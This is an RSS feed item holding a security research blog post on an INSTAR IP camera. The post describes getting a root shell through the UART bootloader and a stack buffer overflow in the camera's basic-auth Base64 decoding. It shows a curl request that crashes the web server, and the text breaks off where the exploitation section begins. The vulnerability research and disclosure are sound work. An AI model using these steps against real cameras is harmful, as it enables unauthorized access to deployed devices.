<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="https://www.w3.org/2005/Atom" xmlns:content="https://purl.org/rss/1.0/modules/content/"><channel><title>modzero / News</title><link>https://modzero.com/en/news/</link><description>The latest news published by modzero.</description><language>en</language><lastBuildDate>Tue, 28 Mar 2023 13:16:59 +0200</lastBuildDate><atom:link href="https://modzero.com/en/news/index.xml" rel="self" type="application/rss+xml"/><item><title>No Leak, No Problem – Bypassing ASLR with a ROP Chain to Gain RCE</title><link>https://modzero.com/en/blog/no-leak-no-problem/</link><pubDate>Mon, 10 Nov 2025 10:00:00 +0000</pubDate><author>Michael Imfeld</author><category>research</category><guid>https://modzero.com/en/blog/no-leak-no-problem/</guid><description>Following a previous post on ARM exploitation, this post walks through extracting and analyzing modern IoT firmware to discover a previously unknown vulnerability. We then construct an ARM ROP chain that bypasses ASLR without an address leak to achieve unauthenticated RCE.</description><content:encoded><![CDATA[<p>After my <a href="https://modzero.com/en/blog/roping-our-way-to-rce/">previous post</a> on ARM exploitation, where we crafted an exploit for a known vulnerability, I decided to continue the research on a more modern IoT target. In this follow-up post, I will take you through building a considerably more complex binary exploit. We will explore the path from firmware extraction and analysis to the discovery of a previously unknown vulnerability and its exploitation. Follow along as we build an ARM ROP chain to bypass ASLR without an address leak, and achieve unauthenticated RCE.</p>
<h2 id="target-overview">Target Overview</h2>
<p>I examined the IN-8401 2K+, an IP camera from the German manufacturer INSTAR. It&rsquo;s a modern networked surveillance camera that exposes a web-based user interface for configuration and live view. As I later found this particular model shares its firmware with other devices from INSTAR&rsquo;s 2K+ and 4K series. According to Shodan<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> there are roughly 12,000 INSTAR devices visible on the public internet.</p>
<figure>
<img src="/static/no-leak-no-problem/web_interface.png" style="border:0;max-height:80vh">
    <figcaption>
        <h4>INSTAR IN-8401 2K+ web interface</h4>
    </figcaption>
</figure>
<h2 id="cracking-the-shell-open">Cracking the Shell Open</h2>
<p>Before we can meaningfully hunt for vulnerabilities, we need to gain access to the device to obtain its firmware. Access to the firmware exposes binaries, configuration files, scripts and the filesystem layout and enables both static inspection and dynamic testing. Without the firmware we&rsquo;re stuck with blind fuzzing of the network interface.</p>
<p>It&rsquo;s always a good idea to collect as much information as possible before diving into analysis mode. So I started with some reading. INSTAR provides quite an extensive documentation about its cameras and their features. I found a very interesting page titled &ldquo;Restore your HD Camera after a faulty Firmware upgrade&rdquo;<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>. The article explained that the camera exposes a UART interface and how it could be accessed to restore a firmware image. UART is a hardware interface used for serial communication commonly found on development boards, embedded systems, and debugging interfaces. In the documentation it looked like it&rsquo;s possible to boot right into a root shell.</p>
<p>Although the article was written for the HD camera models, not my 2K+, I figured it might be worth a shot, since manufacturers often reuse features and components across different product versions. I removed the front part of the housing and spotted the debugging interface as shown on the wiki page.</p>
<p>I went ahead and attached some PCBites to the interface and connected them to a FTDI, which is a small USB-to-serial converter.</p>
<figure><img src="/static/no-leak-no-problem/pcbite.jpg"><figcaption>
      <h4>Attaching FTDI to exposed UART interface</h4>
    </figcaption>
</figure>

<p>I then plugged the FTDI into my Linux machine and connected to it. After supplying some input over the serial connection I was greeted with a login prompt, cool!</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">INSTAR login: root
</span></span><span class="line"><span class="cl">Password:
</span></span><span class="line"><span class="cl">Login incorrect
</span></span></code></pre></td></tr></table>
</div>
</div><p>I tried a couple of the usual combinations like admin:admin, root:root, and so on, but had no success. The documentation explained that the boot process could be interrupted to obtain a root shell on the device&rsquo;s OS. So I rebooted the camera to see if that worked.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">U-Boot 2019.04 <span class="o">(</span>Oct <span class="m">18</span> <span class="m">2023</span> - 11:38:25 +0000<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CPU:   Novatek NT @ <span class="m">999</span> MHz
</span></span><span class="line"><span class="cl">DRAM:  <span class="m">512</span> MiB
</span></span><span class="line"><span class="cl">Relocation to 0x1ff3b000, Offset is 0x01f3b000 sp at 1fbf4dc0
</span></span><span class="line"><span class="cl">nvt_shminfo_init:  The fdt buffer addr: 0x1fbfb8c8
</span></span><span class="line"><span class="cl">ARM CA9 global timer had already been initiated
</span></span><span class="line"><span class="cl">otp_init!
</span></span><span class="line"><span class="cl">120MHz
</span></span><span class="line"><span class="cl"><span class="nv">otp_timing_reg</span><span class="o">=</span> 0xff6050
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_MEM_SIZE</span>                <span class="o">=</span>      0x20000000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_NVT_UIMAGE_SIZE</span>         <span class="o">=</span>      0x01900000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_NVT_ALL_IN_ONE_IMG_SIZE</span> <span class="o">=</span>      0x14a00000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_UBOOT_SDRAM_BASE</span>        <span class="o">=</span>      0x1e000000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_UBOOT_SDRAM_SIZE</span>        <span class="o">=</span>      0x01fc0000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_LINUX_SDRAM_BASE</span>        <span class="o">=</span>      0x01100000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_LINUX_SDRAM_SIZE</span>        <span class="o">=</span>      0x1cf00000
</span></span><span class="line"><span class="cl"> <span class="nv">CONFIG_LINUX_SDRAM_START</span>       <span class="o">=</span>      0x1c700000
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">phy interface: INTERNAL MII
</span></span><span class="line"><span class="cl">eth_na51055
</span></span><span class="line"><span class="cl">Hit any key to stop autoboot:  <span class="m">0</span>
</span></span><span class="line"><span class="cl"> do_nvt_boot_cmd: boot time: 1718855<span class="o">(</span>us<span class="o">)</span>
</span></span><span class="line"><span class="cl"> <span class="o">[</span>...<span class="o">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>As you can see there was indeed a mechanism to stop the device from autobooting. But contrary to what the documentation suggested, interrupting the boot process didn&rsquo;t provide a root shell on the OS, only in the U-Boot bootloader. U-Boot (short for Universal Bootloader) is an open-source bootloader commonly used in embedded systems to initialize hardware and load the operating system or firmware during startup.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">nvt@na51055: printenv
</span></span><span class="line"><span class="cl"><span class="nv">arch</span><span class="o">=</span>arm
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">bootargs</span><span class="o">=</span><span class="nv">console</span><span class="o">=</span>ttyS0,115200 earlyprintk <span class="nv">nvt_pst</span><span class="o">=</span>/dev/mmcblk2p0
</span></span><span class="line"><span class="cl"><span class="nv">nvtemmcpart</span><span class="o">=</span>0x40000@0x40000<span class="o">(</span>fdt<span class="o">)</span>ro,0x200000@0xc0000<span class="o">(</span>uboot<span class="o">)</span>ro,0x40000@0x2c0000<span class="o">(</span>uenv<span class="o">)</span>,0x400000@0x300000<span class="o">(</span>linux<span class="o">)</span>ro,0x40000000@0xb00000<span class="o">(</span>rootfs0<span class="o">)</span>,0xc000000@0x40b00000<span class="o">(</span>rootfs1<span class="o">)</span>,0x40000000@0x4cb00000<span class="o">(</span>rootfs2<span class="o">)</span>,0x1000000@0x8CF00000<span class="o">(</span>rootfsl1<span class="o">)</span>,0x10000000@0x8E300000<span class="o">(</span>rootfsl2<span class="o">)</span>,0xe6a340@0<span class="o">(</span>total<span class="o">)</span> <span class="nv">root</span><span class="o">=</span>/dev/mmcblk2p1 <span class="nv">rootfstype</span><span class="o">=</span>ext4 rootwait rw
</span></span><span class="line"><span class="cl"><span class="nv">bootcmd</span><span class="o">=</span>nvt_boot
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">vendor</span><span class="o">=</span>novatek
</span></span><span class="line"><span class="cl"><span class="nv">ver</span><span class="o">=</span>U-Boot 2019.04 <span class="o">(</span>Oct <span class="m">18</span> <span class="m">2023</span> - 11:38:25 +0000<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>I noticed that the Kernel boot parameters were provided by an environment variable called <code>bootargs</code>. I went ahead an tried the <code>init=/bin/sh</code> trick which tells the Kernel to start a shell instead of the init process. I updated the variable accordingly and tried to boot using <code>nvt_boot</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">invt@na51055: setenv bootargs <span class="s2">&#34;console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0
</span></span></span><span class="line"><span class="cl"><span class="s2">nvtemmcpart=0x40000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x40b00000(rootfs1),0x40000000@0x4cb00000(rootfs2),0x1000000@0x8CF00000(rootfsl1),0x10000000@0x8E300000(rootfsl2),0xe6a340@0(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rw init=/bin/sh&#34;</span>
</span></span><span class="line"><span class="cl">nvt@na51055: nvt_boot
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">EXT4-fs <span class="o">(</span>mmcblk2p1<span class="o">)</span>: recovery <span class="nb">complete</span>
</span></span><span class="line"><span class="cl">EXT4-fs <span class="o">(</span>mmcblk2p1<span class="o">)</span>: mounted filesystem with ordered data mode. Opts: <span class="o">(</span>null<span class="o">)</span>
</span></span><span class="line"><span class="cl">VFS: Mounted root <span class="o">(</span>ext4 filesystem<span class="o">)</span> on device 179:1.
</span></span><span class="line"><span class="cl">devtmpfs: mounted
</span></span><span class="line"><span class="cl">Freeing unused kernel memory: 1024K
</span></span><span class="line"><span class="cl">Run /bin/sh as init process
</span></span><span class="line"><span class="cl">/bin/sh: can<span class="err">&#39;</span>t access tty<span class="p">;</span> job control turned off
</span></span><span class="line"><span class="cl">/ <span class="c1"># id</span>
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</span></span><span class="line"><span class="cl">/ <span class="c1"># hostname</span>
</span></span><span class="line"><span class="cl">INSTAR
</span></span></code></pre></td></tr></table>
</div>
</div><p>It worked. I added a new root user and rebooted the device. Now I was able to login to the device using the newly created user. I dumped the whole filesystem for analysis and as a backup so I could also restore it later, if anything went wrong along the way.</p>
<h2 id="high-level-architecture--attack-surface">High-Level Architecture &amp; Attack Surface</h2>
<p>With the device unlocked and open for exploration it&rsquo;s very easy to get swept away by curiosity. With the goal of finding exploitable vulnerabilities in mind it&rsquo;s important to lay out something like an attack surface map first.</p>
<p>The web stack consisted of various components, most prominently a lighttpd web server that acted as an entry point and reverse proxy. I started by inspecting its configuration to see what it was doing. As you would expect from a reverse proxy, incoming requests were forwarded to the appropriate backend. For example, requests to files ending with <code>.cgi</code> were routed to the fcgi_server binary through a socket at <code>/tmp/instt_fcgi.socket</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">fastcgi.server <span class="o">=</span> <span class="o">(</span> <span class="s2">&#34;.cgi&#34;</span> <span class="o">=</span>&gt; <span class="o">((</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;bin-path&#34;</span> <span class="o">=</span>&gt; <span class="s2">&#34;/home/ipc/bin/fcgi_server&#34;</span>,
</span></span><span class="line"><span class="cl"><span class="s2">&#34;socket&#34;</span> <span class="o">=</span>&gt; <span class="s2">&#34;/tmp/instt_fcgi.socket&#34;</span>,
</span></span><span class="line"><span class="cl"><span class="s2">&#34;max-procs&#34;</span> <span class="o">=</span>&gt; 1,
</span></span><span class="line"><span class="cl"><span class="s2">&#34;check-local&#34;</span> <span class="o">=</span>&gt; <span class="s2">&#34;disable&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>I was mainly interested in finding code that was reachable without authentication. From my initial exploration I knew that there was an SQLite database file where the web interface users were stored, so the binary that performed authentication had to access this file. However, I couldn&rsquo;t confirm that <code>fcgi_server</code> was interacting with it. I concluded another component must be involved. In the process list I noticed a process called <code>ipc_server</code>. I attached <code>strace</code> to see what it was doing and found that incoming requests for most endpoints were forwarded from <code>fcgi_server</code> to <code>ipc_server</code> via <code>/tmp/insttv2_socket</code>.</p>
<p>As an example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ curl <span class="s1">&#39;192.168.0.3/param.cgi?cmd=mod0&amp;paramkey=paramvalue&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nv">cmd</span><span class="o">=</span><span class="s2">&#34;mod0&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">response</span><span class="o">=</span><span class="s2">&#34;204&#34;</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>On ipc_server&rsquo;s end:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">recv<span class="o">(</span>91, <span class="s2">&#34;\4cmd\0\3\5\0\0\0mod0\0\6param\0\4\32\0\0\0\tparamkey\0\3\v\0\0\0paramvalue\0\7header\0\4\25\0\0\0\3ip\0\3\f\0\0\000192.168.0.1\0&#34;</span>, 87, 0<span class="o">)</span> <span class="o">=</span> <span class="m">87</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>As you can observe, the HTTP request wasn&rsquo;t forwarded as-is, it was first serialized using some type of Type–Length–Value (TLV) structure. These observations also made it clear that authentication and the core application logic reside in the <code>ipc_server</code> backend.</p>
<p>With this, I had identified two interesting targets: <code>fcgi_server</code> and <code>ipc_server</code>, both of which were reachable by an unauthenticated attacker.</p>
<h2 id="methodology">Methodology</h2>
<p>With the two main targets <code>fcgi_server</code> and <code>ipc_server</code> identified we can now focus on searching for vulnerabilities. In this section I want to quickly touch on the methods I employed for doing so.</p>
<p>Probably one of the most important ingredients for efficient vulnerability hunting is having a proper debugging setup in place. This allows for quickly double-checking any assumptions made during static analysis, tracing calls, and so on. I ran more or less an identical setup to the one used in the last research with a gdb server on the IP camera and a gdb client on the attacker&rsquo;s machine.</p>
<p>For this research I primarily used two approaches: fuzzing, and a combination of static and dynamic analysis. I started off with something that I would call a very primitive way of black-box fuzzing using boofuzz<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> on collected web endpoints. I tried fuzzing through all possible parameters I had found on various endpoints to see if I could trigger a crash. Although this approach yielded CVE-2025-8761<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>, I felt like it was very inefficient as a crash of the whole system was the only thing I was able to reliably detect (more on that later).</p>
<p>As a secondary approach I spent quite some time on reverse engineering the two binaries <code>fcgi_server</code> and <code>ipc_server</code>. I tried to get an understanding of how things work while focusing on the usual suspects for memory corruption like bounds checking, pointer arithmetic, etc. To speed things up my process usually involved examining the decompiled binary, making assumptions, and verifying them using <code>gdb</code> and <code>strace</code> dynamically.</p>
<h2 id="vulnerability-hunting">Vulnerability Hunting</h2>
<p>Let&rsquo;s have a look at some code. As described earlier <code>fcgi_server</code> acted as some sort of custom middleware that translated web requests into ipc messages. In the decompiled binary I found a dispatcher for <code>.cgi</code> endpoints which called certain handler functions based on the given URI.</p>
<figure>
<img src="/static/no-leak-no-problem/fcgi_server_dispatcher.png" style="border:0;max-height:60vh">
    <figcaption>
        <h4>Dispatcher function in decompiled fcgi_server binary</h4>
    </figcaption>
</figure>
<p>In most of the handler functions a similar pattern emerged. Inside each handler there was a call to the same function which looked like another dispatcher. I identified the second dispatcher as some sort of authentication handler.</p>
<figure>
<img src="/static/no-leak-no-problem/fcgi_server_handle_update.png" style="border:0;max-height:60vh">
    <figcaption>
        <h4>Update handling function in decompiled fcgi_server binary</h4>
    </figcaption>
</figure>
<p>I assumed that the code had to extract and serialize the corresponding auth data from http requests differently, depending on the authentication mechanism used. There were several different handlers one of which I identified as the basic auth handler.</p>
<figure>
<img src="/static/no-leak-no-problem/fcgi_server_auth_handler.png" style="border:0">
    <figcaption>
        <h4>Auth handler function in decompiled fcgi_server binary</h4>
    </figcaption>
</figure>
<p>Inside the basic auth handler, there was a call to another function that looked like a custom implementation of Base64 decoding. As you might have noticed, the decompiled code contained typical C++ elements such as class methods, this pointers, and references to the C++ standard library. Most of the string-related functionality I had seen so far was therefore using C++’s standard string handling. In this case, however, I noticed a <code>memcpy</code> that copied the decoded Base64 result into a fixed-size buffer (516 bytes) located on the stack.</p>
<figure>
<img src="/static/no-leak-no-problem/fcgi_server_base64_decode.png" style="border:0;max-height:80vh">
    <figcaption>
        <h4>Base64 decoding function in decompiled fcgi_server binary</h4>
    </figcaption>
</figure>
<p>Without spending much more time on static analysis, I moved on to perform some dynamic testing of the basic authentication functionality. First, I needed to verify my assumption that the basic auth handler and Base64 decode function were being triggered, so I set a few breakpoints and sent a request.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ curl -k https://192.168.0.3/castore.cgi -u <span class="s1">&#39;A:B&#39;</span> -v
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">* Request completely sent off
</span></span><span class="line"><span class="cl">* TLSv1.3 <span class="o">(</span>IN<span class="o">)</span>, TLS handshake, Newsession Ticket <span class="o">(</span>4<span class="o">)</span>:
</span></span><span class="line"><span class="cl">* TLSv1.3 <span class="o">(</span>IN<span class="o">)</span>, TLS handshake, Newsession Ticket <span class="o">(</span>4<span class="o">)</span>:
</span></span><span class="line"><span class="cl">&lt; HTTP/2 <span class="m">500</span>
</span></span><span class="line"><span class="cl">&lt; content-type: text/plain<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">&lt; server: lighttpd/1.4.72
</span></span></code></pre></td></tr></table>
</div>
</div><p>The breakpoints triggered which confirmed my assumptions so far and I got back a 500.</p>
<p>Then I sent another request with a very long basic auth string exceeding the 516 buffer length in the base64 decode function.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ curl -k https://192.168.0.3/castore.cgi -u <span class="s1">&#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:B&#39;</span> -v
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">* Request completely sent off
</span></span><span class="line"><span class="cl">* TLSv1.3 <span class="o">(</span>IN<span class="o">)</span>, TLS handshake, Newsession Ticket <span class="o">(</span>4<span class="o">)</span>:
</span></span><span class="line"><span class="cl">* TLSv1.3 <span class="o">(</span>IN<span class="o">)</span>, TLS handshake, Newsession Ticket <span class="o">(</span>4<span class="o">)</span>:
</span></span><span class="line"><span class="cl">&lt; HTTP/2 <span class="m">500</span>
</span></span><span class="line"><span class="cl">&lt; content-type: text/html
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">&lt; server: lighttpd/1.4.72
</span></span><span class="line"><span class="cl">&lt;
</span></span><span class="line"><span class="cl">&lt;?xml <span class="nv">version</span><span class="o">=</span><span class="s2">&#34;1.0&#34;</span> <span class="nv">encoding</span><span class="o">=</span><span class="s2">&#34;iso-8859-1&#34;</span>?&gt;
</span></span><span class="line"><span class="cl">&lt;!DOCTYPE html PUBLIC <span class="s2">&#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34;</span>
</span></span><span class="line"><span class="cl">         <span class="s2">&#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;</span>&gt;
</span></span><span class="line"><span class="cl">&lt;html <span class="nv">xmlns</span><span class="o">=</span><span class="s2">&#34;http://www.w3.org/1999/xhtml&#34;</span> xml:lang<span class="o">=</span><span class="s2">&#34;en&#34;</span> <span class="nv">lang</span><span class="o">=</span><span class="s2">&#34;en&#34;</span>&gt;
</span></span><span class="line"><span class="cl"> &lt;head&gt;
</span></span><span class="line"><span class="cl">  &lt;title&gt;500 Internal Server Error&lt;/title&gt;
</span></span><span class="line"><span class="cl"> &lt;/head&gt;
</span></span><span class="line"><span class="cl"> &lt;body&gt;
</span></span><span class="line"><span class="cl">  &lt;h1&gt;500 Internal Server Error&lt;/h1&gt;
</span></span><span class="line"><span class="cl"> &lt;/body&gt;
</span></span><span class="line"><span class="cl">&lt;/html&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>I got back another 500. However, the response wasn’t the same, this time it included an HTML error message. Strange, right? Let&rsquo;s have a look at what the serial terminal showed.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">Hardware name: Novatek Video Platform
</span></span><span class="line"><span class="cl">PC is at 0x41414140
</span></span><span class="line"><span class="cl">LR is at 0x76e39e8c
</span></span><span class="line"><span class="cl">pc : <span class="o">[</span>&lt;41414140&gt;<span class="o">]</span>    lr : <span class="o">[</span>&lt;76e39e8c&gt;<span class="o">]</span>    psr: <span class="m">60010030</span>
</span></span><span class="line"><span class="cl">sp : 753808d0  ip : 76e6f48c  fp : <span class="m">41414141</span>
</span></span><span class="line"><span class="cl">r10: <span class="m">41414141</span>  r9 : <span class="m">41414141</span>  r8 : <span class="m">41414141</span>
</span></span><span class="line"><span class="cl">r7 : <span class="m">41414141</span>  r6 : <span class="m">41414141</span>  r5 : <span class="m">41414141</span>  r4 : <span class="m">41414141</span>
</span></span><span class="line"><span class="cl">r3 : <span class="m">00000000</span>  r2 : <span class="m">75380698</span>  r1 : <span class="m">00000000</span>  r0 : <span class="m">75380698</span>
</span></span><span class="line"><span class="cl">Flags: nZCv  IRQs on  FIQs on  Mode USER_32  ISA Thumb  Segment user
</span></span><span class="line"><span class="cl">Control: 10c5387d  Table: 4dbdc04a  DAC: <span class="m">00000055</span>
</span></span><span class="line"><span class="cl">CPU: <span class="m">1</span> PID: <span class="m">6392</span> Comm: fcgi_server Tainted: P           O      4.19.91 <span class="c1">#1</span>
</span></span><span class="line"><span class="cl">Hardware name: Novatek Video Platform
</span></span><span class="line"><span class="cl">Backtrace:
</span></span><span class="line"><span class="cl"><span class="o">[</span>&lt;8010b428&gt;<span class="o">]</span> <span class="o">(</span>dump_backtrace<span class="o">)</span> from <span class="o">[</span>&lt;8010b554&gt;<span class="o">]</span> <span class="o">(</span>show_stack+0x18/0x1c<span class="o">)</span>
</span></span><span class="line"><span class="cl"> r7:41414140 r6:60070013 r5:00000000 r4:808405e4
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>What happened? The program had crashed. <code>PC is at 0x41414140</code> indicates that I had overwritten the stack since the code took the return address from the stack and tried jumping to it. In this case <code>0x41414140</code> which corresponds to the payload sent. I had found a stack-based buffer overflow.</p>
<p>Why hadn&rsquo;t I discovered this vulnerability during my initial fuzzing? I figured there were two reasons:</p>
<ul>
<li>The HTTP status code was the same as for a normal request, only the response body differed. So getting a 500 response to the request was nothing unusual.</li>
<li>The lighttpd server immediately restarted <code>fcgi_server</code>, so the crash wasn&rsquo;t noticeable from an outside perspective.</li>
</ul>
<p>This once again highlights the importance of a proper debugging setup.</p>
<h2 id="exploitation">Exploitation</h2>
<p>Before we jump to the fun part, a quick heads up: If you&rsquo;re not familiar with binary exploitation or the ARM architecture I&rsquo;d recommend to have a look at the previous blog post<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> first as many concepts are similar to those from the previous research and won&rsquo;t be described in detail in this post.</p>
